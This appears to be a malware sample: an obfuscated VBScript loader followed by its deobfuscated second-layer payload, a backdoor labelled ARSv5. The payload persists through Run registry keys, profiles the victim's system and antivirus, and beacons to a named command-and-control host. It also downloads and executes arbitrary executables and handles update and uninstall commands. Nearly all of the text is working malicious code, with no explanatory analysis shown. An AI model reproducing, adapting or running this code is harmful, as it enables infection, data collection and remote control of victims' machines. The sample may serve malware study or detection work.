',13,58,91,145,318,488,503,720,735,775,868,883,923,957,976,998,1054,1082,1245,1353,1467,1523,1764,1826,1865,2076,2180,2488,2500,2515,2520,2545,2619,2657,2808,2848,2879,2885,2896,2918,3053,3060,3084,3093,3111,3126,3144,3155,3181,3260,3274,3281,3312,3343,3473,3485,3510,3517,3685,3774,3781,3785,3805,3876,4017,4030,4072,4095,4105,4112,4140,4374,4420,4429,4560,4589,4684,4696,4731,4814,4849,4899,4911,4935,4957,5004,5260,5272,5353,5389,5431,5465,5477,5515,5575,5635,5653,5665,5695,5784,5802,5819,5831,5866,5906,5919,5955,6077,6103,6133,6168,6183,6219,6324,6336,6370,6552,6671,6683,6717,6866,6998,7010,7092,7166,7176,7185,7210,7340,7595,7598,7744,7762,7785,7803,7832,7891,7929,7946,7973,7979,8034,8044,8091,8109,8134,
',369,431,538,638,747,794,895,942,1077,2190,2254,2263,2441,2464,2473,2698,2747,2765,2824,3662,3866,4340,4552,4661,4798,5556,5612,5893,5979,6026,6055,6093,6394,6436,6479,6508,6542,6741,6783,6822,6856,7047,7273,7302,7464,7523,7695,
',157,337,352,414,665,716,813,864,948,988,1093,1140,1269,1398,1422,1457,1678,1741,1754,1768,1817,1941,2015,2066,2104,2171,2505,2798,2979,3016,3225,3845,4086,4121,4344,4503,4544,4580,4607,4613,4653,4750,4790,5395,5539,5595,5716,5777,5997,6314,6454,6801,7036,7248,7857,7985,8124,
',19,362,424,506,982,1152,1464,1642,1697,1777,1979,2085,2113,2235,2375,2512,2551,2738,3318,3464,3495,3644,3666,3730,3788,3811,3872,4055,4146,4336,4471,4737,4963,5251,5405,5521,5549,5605,5701,5872,6099,6210,6271,6376,6548,6662,6723,6862,6989,7216,7336,7484,7586,7673,7942,8079,
',238,466,516,562,586,678,758,760,826,906,908,1012,1186,1258,1276,1651,1799,1988,2197,2230,2287,2306,2352,2361,2370,2385,2405,2431,2754,2793,3598,3879,3988,4181,4332,4384,4745,6106,6138,6231,6242,6555,6869,7059,7343,7376,7748,7766,7789,7807,7836,7895,7933,7949,8066,
',2525,2972,3009,4159,4348,4978,
',3328,6010,6463,7257,

',3330,6041,6494,7288,

Dim unCoded(8144)
maxSymb = 124+1
Dim MyCode(127)
on error resume next
Set dosch_fso = CreateObject("Scripting.FileSystemObject")
Set MyBody = dosch_fso.OpenTextFile(Wscript.ScriptFullName, 1, False)
for i = 0 to maxSymb
    MyCode(i) = Replace(MyBody.ReadLine, "',", "")
    tmp = ""
    For j = 1 to Len(MyCode(i))
        if (Mid(MyCode(i), j, 1) = ",") then
            unCoded(tmp) = i
            tmp = ""
        else
            tmp = tmp & Mid(MyCode(i), j, 1)
        end if
    Next
Next
MyBody.Close
dosch = ""
for i = 0 to UBound(unCoded)
    if (unCoded(i) > 0) then dosch = dosch & Chr(unCoded(i))
next
executeglobal dosch

############### After second layer deobfuscation ############
on error resume next
Dim host(1)
host(0) = "http://ronjustthetrebho.net/board/"
isDebug = false
sleepMS = 15000
Set objArgs = Wscript.Arguments
Set wshShell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Set gc = createobject("Microsoft.XMLHTTP")

sHost = host(0)
sCurrent = 0
rid = hwid
mainLoc = wshShell.ExpandEnvironmentStrings("%APPDATA%") & "\"
sTemp = wshShell.ExpandEnvironmentStrings("%TEMP%") & "\"
myLoc = Wscript.ScriptFullName
Call mutex
if myLoc <> mainLoc&rid&".vbs" then psCommand "Copy-Item -Path "&Chr(34)&myLoc&Chr(34)&" -Destination "&Chr(34)&mainLoc&rid&".vbs"&Chr(34)
psCommand "New-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name ARSv5 -PropertyType String -Value "&mainLoc&rid&".vbs"
psCommand "New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name ARSv5 -PropertyType String -Value "&mainLoc&rid&".vbs"
while (true)
  on error resume next
  wshShell.CurrentDirectory = mainLoc
  cmd = con("os="&sGetOS()&"&user="&sGetUserPC()&"&av="&func15()&"&fw="&sGetRAM()&" # "&GetCPU()&" # "&GetGPU()&"&hwid="&rid&"&x="&getX())
  log("Oh, its main cycle! CMD response" & cmd)
  if Len(cmd) < 4 then
    log("Fuck! Panel maybe die! I will try to change it...")
    changeCNC
  end if
  cmdF = Split(cmd, "!")
  If UBound(cmdF) >= 0 Then
      If instr(cmdF(0), "download") Then
        log("Download command gotted!")
        Call downloadexecute(cmdF(1), cmdF(2))
      End if
      If instr(cmdF(0), "update") Then
        log("Update command gotted!")
        gc.Open "GET", cmdF(1), False
        gc.Send
        set oneonce =  fso.opentextfile (myLoc, 2, false)
        oneonce.write gc.ResponseText
        oneonce.close
        con "ok="&cmdF(2)&"&hwid="&rid
        wshshell.run "wscript.exe //B " & chr(34) & myLoc & chr(34)
        wscript.quit
      End if
      If instr(cmdF(0), "uninstall") Then
        log("Unistall command gotted!")
        con "ok="&cmdF(2)&"&hwid="&rid
        set oneonce =  fso.opentextfile (myLoc, 2, false)
        oneonce.write " "
        oneonce.close
        Wscrit.Sleep 1000
        wshshell.run "cmd.exe /C taskkill /im wscript.exe /F", 0
      End if
  End if
  Wscript.Sleep(sleepMS)
wend

Function SaveBinaryData(FileName, Data)
    Const adTypeText = 1
    Const adSaveCreateOverWrite = 2
    Dim BinaryStream
    Set BinaryStream = CreateObject("ADODB.Stream")
    BinaryStream.Type = adTypeText
    BinaryStream.Open
    BinaryStream.Write Data
    BinaryStream.SaveToFile FileName, adSaveCreateOverWrite
End Function

Sub downloadexecute(durl, zid)
  on error resume next
  Err.Clear
  Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
  objWinHttp.open "GET", durl, False
  objWinHttp.send ""
  strsaveto = mainLoc & sRandomString(25) & ".exe"
  SaveBinaryData strsaveto, objWinHttp.responseBody
  wshShell.Run Chr(34)&strsaveto&Chr(34)
  If Err.Number <> 0 Then
        log("[F]: plugin function > Fuck! Error: (" & Err.Number & ") desc: " & Err.Description)
        con "error="&zid&"&hwid="&rid
    Else
        con "ok="&zid&"&hwid="&rid
    End If
    Err.Clear
End Sub

Sub changeCNC()
  hostCount = UBound(host)
  if sCurrent < hostCount-1 then
    sCurrent = sCurrent + 1
  else
    sCurrent = 0
  end if
  log("CNC Changed! New host: "&sHost)
  sHost = host(sCurrent)
end sub

Function con(dat)
    On error resume next
    log("{@} Sending request > "&sHost & "gate.php?" & dat)
    gc.open "post",sHost & "gate.php?" & dat, false
    gc.send dat
    con = gc.responsetext
End function

sub log(iText)
  if isDebug = true then
    Const ForWriting = 8
    Set logFso = CreateObject("Scripting.FileSystemObject")
    Set logFile = logFso.OpenTextFile(mainLoc & "va.txt", ForWriting, True)
    logFile.WriteLine("["&Time&"]: "&iText)
    logFile.Close
  end if
end sub

Sub mutex
  On error resume next
  Set oProcesses = GetObject("winmgmts:\\.\root\cimv2").ExecQuery("Select * from Win32_Process",,48)
  For Each oProcess in oProcesses
    If Instr(oProcess.CommandLine, myLoc) > 0 Then
      iProcCount = iProcCount + 1
    end if
  Next
  If (iProcCount > 1) then wscript.quit
end sub

function hwid
  On error resume next
  Randomize
  arrWords = Array("A","B","C","D","E","F","J","K","O","P","Q","R","S","T","M","N","Y","X","V","W","Z","a","b","c","d","e","f","j","k","o","p","q","r","s","t","m","n","y","x","v","w","z")
  Chars = 25
  result = Empty
  For i = 0 To chars-1
    result = result + arrWords(Int((40 * Rnd) + 1))
  Next
  if checkHWID then
    wshShell.RegWrite "HKEY_CURRENT_USER\Software\ARSv5", result, "REG_SZ"
    hwid = result
  else
    hwid = wshShell.RegRead("HKEY_CURRENT_USER\Software\ARSv5")
  end if
end function

function checkHWID()
  On error resume next
  key2 = wshShell.RegRead("HKEY_CURRENT_USER\Software\ARSv5")
  If Err.Number <> 0 Then
    checkHWID = True
  Else
    checkHWID = False
  End If
end function

Function sRandomString(Count444)
    On error resume next
    Randomize
    For i444 = 1 To Count444
        If (Int((1 - 0 + 1) * Rnd + 0)) Then
            sRandomString = sRandomString & Chr(Int((90 - 65 + 1) * Rnd + 65))
        Else
            sRandomString = sRandomString & Chr(Int((57 - 48 + 1) * Rnd + 48))
        End If
    Next
End Function

function psCommand(psCMD)
  Set psShell = CreateObject("Wscript.Shell")
  log "Running command: "&psCMD
  psShell.Run "powershell.exe -command "&psCMD, 0, True
  Set psShell = Nothing
end function

Function sGetUserPC()
    On error resume next
    sGetUserPC = wshShell.ExpandEnvironmentStrings("%username%") & "@" & wshShell.ExpandEnvironmentStrings("%computername%")
End Function

function sGetOS
  On error resume next
  sGetOS = wshShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName")
end function

Function sGetRAM()
    On error resume next
    Dim objWMIService, objComputer, colComputer
    Dim strLogonUser, strComputer
    Set objWMIService = GetObject("winmgmts:"& "{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set colComputer = objWMIService.ExecQuery("Select * from Win32_ComputerSystem")
    For Each objComputer in colComputer
        sGetRAM = Fix(objComputer.TotalPhysicalMemory/(1024*1024)) & "Mb"
    Next
    If sGetRAM = "" Then sGetRAM = "Unknown"
End Function

Function GetCPU()
    On error resume next
    Dim objWMIService, colItems, bjItem
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_Processor")
    For Each objItem In colItems
        GetCPU = objItem.Name
    Next
End Function

Function GetGPU()
    On error resume next
    Dim objWMIService, objItem, colItems
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_VideoController",,48)
    For Each objItem In colItems
        GetGPU = objItem.Caption
    Next
End Function

Function getX()
    if right(wshShell.environment("system").item("processor_architecture"), 2) = "64" then
        getX = "64"
    else
        getX = "32"
    end if
end function
Function func15()
    on error resume next
    Set ObjWMI = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    Set sColItems = ObjWMI.execquery("Select * from Win32_OperatingSystem", ,48)
    For Each sObjItem In sColItems
        sVersionStr = split (sObjItem.version,".")
    Next
    sVersionStr = split (sColItems.version,".")
    sOsVersion = sVersionStr (0) & "."
    For  x = 1 to ubound (sVersionStr)
         sOsVersion = sOsVersion &  sVersionStr (i)
    Next
    sOsVersion = eval(sOsVersion)
    If  sOsVersion > 6 Then sSecurityCenter = "securitycenter2" Else sSecurityCenter = "securitycenter"
    Set sObjSecurityCenter = GetObject("winmgmts:\\localhost\root\" & sSecurityCenter)
    Set sColAV = sObjSecurityCenter.execquery("Select * From AntiVirusProduct","wql",0)
    For Each sObjAV In sColAV
        func15  = func15  & sObjAV.DisplayName
    Next
    If func15  = "" Then func15  = "Unknown"
End Function